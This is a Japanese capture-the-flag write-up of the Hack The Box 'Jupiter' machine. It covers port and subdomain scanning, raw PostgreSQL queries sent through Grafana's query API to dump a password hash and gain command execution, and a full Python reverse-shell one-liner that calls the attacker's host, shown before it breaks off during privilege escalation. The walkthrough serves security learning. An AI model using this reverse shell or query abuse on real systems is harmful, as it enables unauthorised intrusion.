初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Jupiter」にチャレンジした際の WriteUp になります。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

Jupiter と言えばdustboxを思い出します。とてもいい曲で、dustboxの泣ける曲の中でも１位、２位を争えます。16分の速い右手の刻みで、難易度が高い曲の多いdustboxのGtVoの中でもまだ余裕をもって感情を乗せることが出来るライブ向きの曲でもあります。
※ここまでdustboxの話で草

Discovery

ポートスキャン

今回はRustScanで高速スキャンしてみた。（はっや）

┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.216 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.216:22
Open 10.10.11.216:80
Open 10.10.11.216:8001
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 07:05 EDT
Initiating Ping Scan at 07:05
Scanning 10.10.11.216 [4 ports]
Completed Ping Scan at 07:05, 0.23s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:05
Completed Parallel DNS resolution of 1 host. at 07:05, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:05
Scanning 10.10.11.216 [3 ports]
Discovered open port 8001/tcp on 10.10.11.216
Discovered open port 80/tcp on 10.10.11.216
Discovered open port 22/tcp on 10.10.11.216
Completed SYN Stealth Scan at 07:05, 0.22s elapsed (3 total ports)
Nmap scan report for 10.10.11.216
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2023-06-05 07:05:55 EDT for 0s

PORT     STATE SERVICE     REASON
22/tcp   open  ssh         syn-ack ttl 63
80/tcp   open  http        syn-ack ttl 63
8001/tcp open  vcom-tunnel syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)

ポート22、80、8001が公開されてそう。
実際に80にアクセスしてみると、「jupiter.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

Collection

ドメイン環境設定

今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。

┌──(root💀kali)-[~/work]
└─# vim /etc/hosts

以下を投入。

10.10.11.216    jupiter.htb

疎通確認を行う。

┌──(root㉿kali)-[~]
└─# ping jupiter.htb 
PING jupiter.htb (10.10.11.216) 56(84) bytes of data.
64 bytes from jupiter.htb (10.10.11.216): icmp_seq=1 ttl=63 time=191 ms
64 bytes from jupiter.htb (10.10.11.216): icmp_seq=2 ttl=63 time=194 ms
64 bytes from jupiter.htb (10.10.11.216): icmp_seq=3 ttl=63 time=190 ms
^C
--- jupiter.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 190.097/191.973/194.390/1.793 ms

アクセスしてみると以下のサイトが確認できる。

サイト探索

httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。

Subdomain探索

以下サイトからサブドメインのリストをダウンロード

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt

ffufで探索。

┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://jupiter.htb/ -H "HOST: FUZZ.jupiter.htb" -fs 178 -mc all -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://jupiter.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.jupiter.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response size: 178
________________________________________________

[Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 206ms]
    * FUZZ: kiosk

:: Progress: [100000/100000] :: Job [1/1] :: 622 req/sec :: Duration: [0:02:16] :: Errors: 0 ::

サブドメインを見つけたのでこのドメインも/etc/hostsに登録しておく。
アクセスしてみるとGrafanaのサイトへ飛ぶ。

Login画面があるみたいなのでここにadmin:adminでアクセスしてみるが、ログインできなかった。

ディレクトリ探索

dirsearchを使用して探索を実施。サブドメインのほうを調べてみる。

┌──(root㉿kali)-[~]
└─# dirsearch -u http://kiosk.jupiter.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/kiosk.jupiter.htb/-_23-06-05_07-36-16.txt

Error Log: /root/.dirsearch/logs/errors-23-06-05_07-36-16.log

Target: http://kiosk.jupiter.htb/

[07:36:17] Starting: 
[07:37:38] 302 -   24B  - /admin  ->  /                                     
[07:37:41] 302 -   24B  - /admin/  ->  /                                    
[07:37:41] 302 -   24B  - /admin/?/login  ->  /                             
[07:38:33] 302 -   24B  - /configuration/  ->  /                            
[07:38:34] 302 -   24B  - /connections  ->  /                               
[07:38:51] 302 -   24B  - /explore  ->  /                                   
[07:39:20] 302 -   29B  - /login/admin/  ->  /login                         
[07:39:21] 200 -   34KB - /login
[07:39:21] 302 -   29B  - /login/administrator/  ->  /login                 
[07:39:21] 302 -   29B  - /login/cpanel.php  ->  /login                     
[07:39:21] 302 -   29B  - /login/cpanel.aspx  ->  /login                    
[07:39:21] 302 -   29B  - /login/cpanel.html  ->  /login                    
[07:39:21] 302 -   29B  - /login/login  ->  /login
[07:39:21] 302 -   29B  - /login/cpanel.js  ->  /login                      
[07:39:21] 200 -   34KB - /login/                                           
[07:39:21] 302 -   29B  - /login/index  ->  /login
[07:39:21] 302 -   29B  - /login/super  ->  /login                          
[07:39:21] 302 -   29B  - /login/oauth/  ->  /login
[07:39:21] 302 -   29B  - /login/cpanel.jsp  ->  /login
[07:39:21] 302 -   29B  - /login/cpanel/  ->  /login                        
[07:39:22] 302 -   29B  - /logout  ->  /login                               
[07:39:22] 302 -   29B  - /logout/  ->  /login                              
[07:39:31] 200 -  128KB - /metrics                                          
[07:39:31] 200 -   34KB - /monitoring/                                      
[07:39:31] 200 -   34KB - /monitoring
[07:39:53] 302 -   24B  - /plugins  ->  /                                   
[07:39:53] 302 -   24B  - /plugins/fckeditor  ->  /                         
[07:39:53] 302 -   24B  - /plugins/  ->  /                                  
[07:39:54] 302 -   24B  - /plugins/tiny_mce  ->  /                          
[07:39:54] 302 -   24B  - /plugins/tiny_mce/  ->  /
[07:39:54] 302 -   24B  - /plugins/upload.php  ->  /                        
[07:39:54] 302 -   24B  - /plugins/web.config  ->  /                        
[07:39:54] 302 -   24B  - /plugins/tinymce/  ->  /
[07:39:54] 302 -   24B  - /plugins/tinymce  ->  /
[07:39:58] 302 -   29B  - /profile  ->  /login                              
[07:39:59] 302 -   31B  - /public  ->  /public/                             
[07:40:04] 200 -   26B  - /robots.txt                                       
[07:40:12] 200 -   34KB - /signup                                           
[07:40:22] 200 -    2KB - /swagger-ui

特段いいものはなさそう。元のサブドメインがない方も確認しておく。

┌──(root㉿kali)-[~]
└─# dirsearch -u http://jupiter.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/jupiter.htb/-_23-06-05_07-35-17.txt

Error Log: /root/.dirsearch/logs/errors-23-06-05_07-35-17.log

Target: http://jupiter.htb/

[07:35:18] Starting: 
[07:35:20] 301 -  178B  - /js  ->  http://jupiter.htb/js/                  
[07:35:24] 403 -  564B  - /.ht_wsr.txt                                     
[07:35:24] 403 -  564B  - /.htaccess.orig
[07:35:24] 403 -  564B  - /.htaccess.sample                                
[07:35:24] 403 -  564B  - /.htaccess.save                                  
[07:35:24] 403 -  564B  - /.htaccess.bak1                                  
[07:35:24] 403 -  564B  - /.htaccess_sc
[07:35:24] 403 -  564B  - /.htaccessBAK
[07:35:24] 403 -  564B  - /.htaccessOLD
[07:35:24] 403 -  564B  - /.htaccessOLD2
[07:35:25] 403 -  564B  - /.html                                           
[07:35:25] 403 -  564B  - /.htm
[07:35:25] 403 -  564B  - /.htaccess_extra
[07:35:25] 403 -  564B  - /.htaccess_orig
[07:35:25] 403 -  564B  - /.htpasswd_test
[07:35:25] 403 -  564B  - /.httr-oauth                                     
[07:35:25] 403 -  564B  - /.htpasswds                                      
[07:35:39] 200 -   12KB - /about.html                                       
[07:35:42] 403 -  564B  - /admin/.htaccess                                  
[07:35:49] 403 -  564B  - /administrator/.htaccess                          
[07:35:52] 403 -  564B  - /app/.htaccess                                    
[07:36:01] 200 -   10KB - /contact.html                                     
[07:36:01] 301 -  178B  - /css  ->  http://jupiter.htb/css/                 
[07:36:07] 301 -  178B  - /fonts  ->  http://jupiter.htb/fonts/             
[07:36:11] 301 -  178B  - /img  ->  http://jupiter.htb/img/                 
[07:36:12] 200 -   19KB - /index.html                                       
[07:36:14] 403 -  564B  - /js/                                              
                                                                             
Task Completed

そんなにいいものがない。

Credential Access

色々とサイト内を探索していると/api/ds/queryの階層にSQLを生で打ってそうなJSONを発見する。
datasourceにpostgresと書いてあるのでPostgreのクエリを投げてみる。

おお、クエリが帰ってくるのでpg_shadowsを確認してみる。

パスワードを確認できたがHash化されている。安易に復号できそうではない。

"SCRAM-SHA-256$4096:K9IJE4h9f9+tr7u7AZL76w==$qdrtC1sThWDZGwnPwNctrEbEwc8rFpLWYFVTeLOy3ss=:oD4gG69X8qrSG4bXtQ62M83OkjeFDOYrypE3tUv0JOY="

その他にいい情報がないかを確認してみる。information_schema.tablesでtable_nameを確認する。

{
  "results": {
    "A": {
      "status": 200,
      "frames": [
        {
          "schema": {
            "refId": "A",
            "meta": {
              "typeVersion": [
                0,
                0
              ],
              "executedQueryString": "select \n  table_name  \nfrom \n  information_schema.tables;"
            },
            "fields": [
              {
                "name": "table_name",
                "type": "string",
                "typeInfo": {
                  "frame": "string",
                  "nullable": true
                }
              }
            ]
          },
          "data": {
            "values": [
              [
                "moons",
                "pg_statistic",
                "pg_type",
                "pg_foreign_table",
                "pg_authid",
                "pg_shadow",
                "pg_statistic_ext_data",
                "pg_roles",
                "pg_settings",
                "pg_file_settings",
                "pg_hba_file_rules",
                "pg_config",
                "pg_shmem_allocations",
                "pg_backend_memory_contexts",
                "pg_available_extension_versions",
                "pg_user_mapping",
                "pg_stat_xact_user_functions",
                "pg_replication_origin_status",
                "pg_subscription",
                "pg_attribute",
                "pg_proc",
                "pg_class",
                "pg_attrdef",
                "pg_constraint",
                "pg_inherits",
                "pg_index",
                "pg_operator",
                "pg_opfamily",
                "pg_opclass",
                "pg_am",
                "pg_amop",
                "pg_amproc",
                "pg_language",
                "pg_stat_archiver",
                "pg_stat_bgwriter",
                "pg_stat_wal",
                "pg_stat_progress_analyze",
                "pg_stat_progress_vacuum",
                "pg_stat_progress_cluster",
                "pg_stat_progress_create_index",
                "pg_stat_progress_basebackup",
                "pg_stat_progress_copy",
                "pg_largeobject_metadata",
                "cmd_exec",
                "pg_aggregate",
                "pg_statistic_ext",
                "pg_rewrite",
                "pg_trigger",
                "pg_event_trigger",
                "pg_description",
                "pg_cast",
                "pg_enum",
                "pg_namespace",
                "pg_conversion",
                "pg_depend",
                "pg_database",
                "pg_db_role_setting",
                "pg_tablespace",
                "pg_auth_members",
                "pg_shdepend",
                "pg_shdescription",
                "pg_ts_config",
                "pg_ts_config_map",
                "pg_ts_dict",
                "pg_ts_parser",
                "pg_ts_template",
                "pg_extension",
                "pg_foreign_data_wrapper",
                "pg_foreign_server",
                "pg_policy",
                "pg_replication_origin",
                "pg_default_acl",
                "pg_init_privs",
                "pg_seclabel",
                "pg_shseclabel",
                "pg_collation",
                "pg_partitioned_table",
                "pg_range",
                "pg_transform",
                "pg_sequence",
                "pg_publication",
                "pg_publication_rel",
                "pg_subscription_rel",
                "pg_matviews",
                "pg_group",
                "pg_user",
                "pg_policies",
                "pg_rules",
                "pg_views",
                "pg_tables",
                "pg_indexes",
                "pg_sequences",
                "pg_stats",
                "pg_stats_ext",
                "pg_stats_ext_exprs",
                "pg_publication_tables",
                "pg_locks",
                "pg_cursors",
                "pg_available_extensions",
                "pg_prepared_xacts",
                "pg_prepared_statements",
                "pg_seclabels",
                "pg_stat_xact_user_tables",
                "pg_timezone_abbrevs",
                "pg_timezone_names",
                "pg_statio_all_tables",
                "pg_statio_sys_tables",
                "pg_stat_all_tables",
                "pg_stat_xact_all_tables",
                "pg_stat_sys_tables",
                "pg_stat_xact_sys_tables",
                "pg_stat_user_tables",
                "pg_statio_user_tables",
                "pg_stat_all_indexes",
                "pg_stat_sys_indexes",
                "pg_stat_user_indexes",
                "pg_statio_all_indexes",
                "pg_statio_sys_indexes",
                "pg_statio_user_indexes",
                "pg_statio_all_sequences",
                "pg_statio_sys_sequences",
                "pg_statio_user_sequences",
                "pg_stat_activity",
                "pg_stat_replication",
                "pg_stat_slru",
                "pg_stat_wal_receiver",
                "pg_stat_subscription",
                "pg_stat_ssl",
                "pg_stat_gssapi",
                "pg_replication_slots",
                "pg_stat_replication_slots",
                "pg_stat_database",
                "pg_stat_database_conflicts",
                "pg_stat_user_functions",
                "pg_user_mappings",
                "pg_largeobject",
                "information_schema_catalog_name",
                "attributes",
                "applicable_roles",
                "administrable_role_authorizations",
                "check_constraint_routine_usage",
                "character_sets",
                "check_constraints",
                "collations",
                "collation_character_set_applicability",
                "column_column_usage",
                "column_domain_usage",
                "routines",
                "column_privileges",
                "role_column_grants",
                "column_udt_usage",
                "columns",
                "constraint_column_usage",
                "routine_column_usage",
                "constraint_table_usage",
                "domain_constraints",
                "domain_udt_usage",
                "routine_privileges",
                "domains",
                "enabled_roles",
                "schemata",
                "key_column_usage",
                "role_routine_grants",
                "parameters",
                "referential_constraints",
                "routine_routine_usage",
                "routine_sequence_usage",
                "sequences",
                "routine_table_usage",
                "sql_parts",
                "sql_implementation_info",
                "sql_features",
                "sql_sizing",
                "table_constraints",
                "table_privileges",
                "view_table_usage",
                "role_table_grants",
                "tables",
                "transforms",
                "user_mappings",
                "triggered_update_columns",
                "views",
                "triggers",
                "udt_privileges",
                "foreign_data_wrappers",
                "role_udt_grants",
                "data_type_privileges",
                "usage_privileges",
                "role_usage_grants",
                "user_defined_types",
                "element_types",
                "view_column_usage",
                "view_routine_usage",
                "_pg_foreign_servers",
                "_pg_foreign_table_columns",
                "column_options",
                "_pg_foreign_data_wrappers",
                "foreign_table_options",
                "foreign_data_wrapper_options",
                "foreign_server_options",
                "foreign_servers",
                "_pg_foreign_tables",
                "user_mapping_options",
                "foreign_tables",
                "_pg_user_mappings"
              ]
            ]
          }
        }
      ]
    }
  }
}

良さそうなのがない。
もうRCEできるかそのまま試してみます。

Initial Access

Reverse Shell

RCEを実施する。まず出力用のDBを作成する。

コマンドidを実行する。

結果を確認する。

コマンド打ててますね！
リバースシェルを叩き込みます。いつもの以下のサイトを利用する。

叩き込む。

シェルを獲得できた。ただこのシェルすぐに死んでしまうので、別途安定させるための操作が必要。

back ground shell

以下のコマンドを叩き込む。

nohup python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' &

バックグラウンドでリバースシェルを起動させる。これで足場が安定します。

interactive shell

探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。
Ctrl+Zで接続をバックグラウンドにし、以下のコマンドを実行する。

postgres@jupiter:/var/lib/postgresql/14/main$ ^Z
zsh: suspended  nc -lvnp 1234
                                                                                                                                                            
┌──(root㉿kali)-[~/work]
└─# stty raw -echo; fg   
[1]  + continued  nc -lvnp 1234
                               export TERM=xterm-256col
postgres@jupiter:/var/lib/postgresql/14/main$ export SHELL=bash
postgres@jupiter:/var/lib/postgresql/14/main$ 
postgres@jupiter:/var/lib/postgresql/14/main$

足場完成だ！

Privilege Escalation - Horizontal

情報収集

linpeas

linpeas使います。
以下のサイトからlinpeas.shをダウンロードしてくる。

起動します。

postgres@jupiter:/tmp$ 
postgres@jupiter:/tmp$ chmod +x linpeas.sh
postgres@jupiter:/tmp$ /tmp/linpeas.sh


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |                                                                     
    |         Follow on Twitter         :     @hacktricks_live                          |                                                                   
    |         Respect on HTB            :     SirBroccoli                             |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |                                 Thank you!                                      |                                                                     
    \---------------------------------------------------------------------------------/                                                                     
          linpeas-ng by carlospolop                                                                                                                         
                                                                                                                                                            
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.                              
                                                                                                                                                            
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:                                                                                                                                                    
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

                               ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════                                                                         
                               ╚═══════════════════╝                                                                                                        
OS: Linux version 5.15.0-72-generic (buildd@lcy02-amd64-035) (gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #79-Ubuntu SMP Wed Apr 19 08:22:18 UTC 2023
User & Groups: uid=114(postgres) gid=120(postgres) groups=120(postgres),119(ssl-cert)
Hostname: jupiter
Writable folder: /dev/shm
[+] /usr/bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)                                                                                                                                                 
[+] /usr/bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)                          
                                                                                                                                                            
                                                                                                                                                            

Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . uniq: write error: Broken pipe
DONE

....省略

/home/juno配下にshadowがあったりするが、よくわからん。なんだこれは。

pspy

pspyも動かします。
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロード。

起動。

postgres@jupiter:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/06/06 13:51:25 CMD: UID=114   PID=74476  | ./pspy64 
2023/06/06 13:51:25 CMD: UID=1000  PID=65270  | gpg-agent --homedir /home/juno/.gnupg --use-standard-socket --daemon 
2023/06/06 13:51:25 CMD: UID=0     PID=65245  | 
2023/06/06 13:51:25 CMD: UID=1000  PID=56360  | /bin/bash -i 
2023/06/06 13:51:25 CMD: UID=1000  PID=56357  | /bin/sh -i 
2023/06/06 13:51:25 CMD: UID=1000  PID=56353  | /bin/sh -c /home/juno/shadow-simulation.sh 
2023/06/06 13:51:25 CMD: UID=0     PID=56352  | /usr/sbin/CRON -f -P 
2023/06/06 13:51:25 CMD: UID=0     PID=53580  | 
2023/06/06 13:51:25 CMD: UID=0     PID=53085  | 
2023/06/06 13:51:25 CMD: UID=0     PID=53084  | /usr/libexec/upowerd 
2023/06/06 13:51:25 CMD: UID=0     PID=53075  | /usr/libexec/fwupd/fwupd 
2023/06/06 13:51:25 CMD: UID=0     PID=53041  |                                                                                                                                                                                        
2023/06/06 13:51:25 CMD: UID=114   PID=52350  | postgres: 14/main: grafana_viewer moon_namesdb 127.0.0.1(55142) idle                                                                                                                                                                                                    
2023/06/06 13:51:25 CMD: UID=114   PID=43450  | gpg-agent --homedir /var/lib/postgresql/.gnupg --use-standard-socket --daemon 
2023/06/06 13:51:25 CMD: UID=114   PID=35064  | bash 
2023/06/06 13:51:25 CMD: UID=114   PID=35063  | python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")                                               
2023/06/06 13:51:25 CMD: UID=0     PID=23964  | 
2023/06/06 13:51:25 CMD: UID=1001  PID=23799  | /usr/bin/python3 -m ipykernel_launcher -f /home/jovian/.local/share/jupyter/runtime/kernel-169cf4dd-fc42-4bc5-88a6-62a265ba6f6f.json                                                                                                                                    
2023/06/06 13:51:25 CMD: UID=1001  PID=23740  | /usr/bin/python3 -m ipykernel_launcher -f /home/jovian/.local/share/jupyter/runtime/kernel-22aefeca-3b5d-4fcc-9f18-a2a1a7722e87.json                                                                                                                                    
2023/06/06 13:51:25 CMD: UID=0     PID=5337   | 
2023/06/06 13:51:25 CMD: UID=115   PID=1188   | /usr/share/grafana/bin/grafana server --config=/etc/grafana/grafana.ini --pidfile=/run/grafana/grafana-server.pid --packaging=deb cfg:default.paths.logs=/var/log/grafana cfg:default.paths.data=/var/lib/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning                                                                                                       
2023/06/06 13:51:25 CMD: UID=114   PID=1175   | postgres: 14/main: logical replication launcher                                                                                                                                                                                                                         
2023/06/06 13:51:25 CMD: UID=114   PID=1174   | postgres: 14/main: stats collector                                                                                                                                                                                                                                      
2023/06/06 13:51:25 CMD: UID=114   PID=1173   | postgres: 14/main: autovacuum launcher                                                                                                                                                                                                                                  
2023/06/06 13:51:25 CMD: UID=114   PID=1172   | postgres: 14/main: walwriter                                                                                                                                                                                                                                            
2023/06/06 13:51:25 CMD: UID=114   PID=1171   | postgres: 14/main: background writer                                                                                                                                                                                                                                    
2023/06/06 13:51:25 CMD: UID=114   PID=1170   | postgres: 14/main: checkpointer                                                                                                                                                                                                                                         
2023/06/06 13:51:25 CMD: UID=114   PID=1168   | /usr/lib/postgresql/14/bin/postgres -D /var/lib/postgresql/14/main -c config_file=/etc/postgresql/14/main/postgresql.conf                                                                                                                                               
2023/06/06 13:51:25 CMD: UID=33    PID=1163   | nginx: worker process                            
2023/06/06 13:51:25 CMD: UID=33    PID=1162   | nginx: worker process                            
2023/06/06 13:51:25 CMD: UID=0     PID=1161   | nginx: master process /usr/sbin/nginx -g daemon on; master_process on; 
2023/06/06 13:51:25 CMD: UID=0     PID=1159   | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 
2023/06/06 13:51:25 CMD: UID=0     PID=1155   | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2023/06/06 13:51:25 CMD: UID=1001  PID=1151   | /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb 
2023/06/06 13:51:25 CMD: UID=0     PID=1138   | /usr/sbin/cron -f -P 
2023/06/06 13:51:25 CMD: UID=0     PID=901    | /usr/sbin/ModemManager 
2023/06/06 13:51:25 CMD: UID=0     PID=886    | /usr/libexec/udisks2/udisksd 
2023/06/06 13:51:25 CMD: UID=0     PID=884    | /lib/systemd/systemd-logind 
2023/06/06 13:51:25 CMD: UID=0     PID=879    | /usr/lib/snapd/snapd 
2023/06/06 13:51:25 CMD: UID=107   PID=877    | /usr/sbin/rsyslogd -n -iNONE 
2023/06/06 13:51:25 CMD: UID=0     PID=876    | /usr/libexec/polkitd --no-debug 
2023/06/06 13:51:25 CMD: UID=0     PID=874    | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers 
2023/06/06 13:51:25 CMD: UID=0     PID=872    | /usr/sbin/irqbalance --foreground 
2023/06/06 13:51:25 CMD: UID=103   PID=868    | @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2023/06/06 13:51:25 CMD: UID=0     PID=810    | /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0                                                                                                                            
2023/06/06 13:51:25 CMD: UID=0     PID=797    | /usr/bin/vmtoolsd 
2023/06/06 13:51:25 CMD: UID=0     PID=788    | /usr/bin/VGAuthService 
2023/06/06 13:51:25 CMD: UID=998   PID=730    | /usr/local/sbin/laurel --config /etc/laurel/config.toml 
2023/06/06 13:51:25 CMD: UID=0     PID=728    | /sbin/auditd 
2023/06/06 13:51:25 CMD: UID=104   PID=716    | /lib/systemd/systemd-timesyncd 
